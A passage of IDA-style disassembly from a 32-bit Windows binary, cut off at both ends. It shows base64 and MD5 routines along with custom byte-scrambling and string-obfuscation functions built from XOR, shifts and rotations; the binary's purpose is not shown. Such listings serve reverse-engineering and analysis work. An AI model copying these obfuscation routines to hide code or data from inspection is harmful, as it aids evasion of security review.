sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E9B0[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E9B0[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E9B0[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: .text:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAB4 call sub_40F26E pop ecx pop ecx lea eax, byte_41EAB4 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EAB4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: .text:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EAC8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EAC8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _rotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _rotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _rotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _rotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, 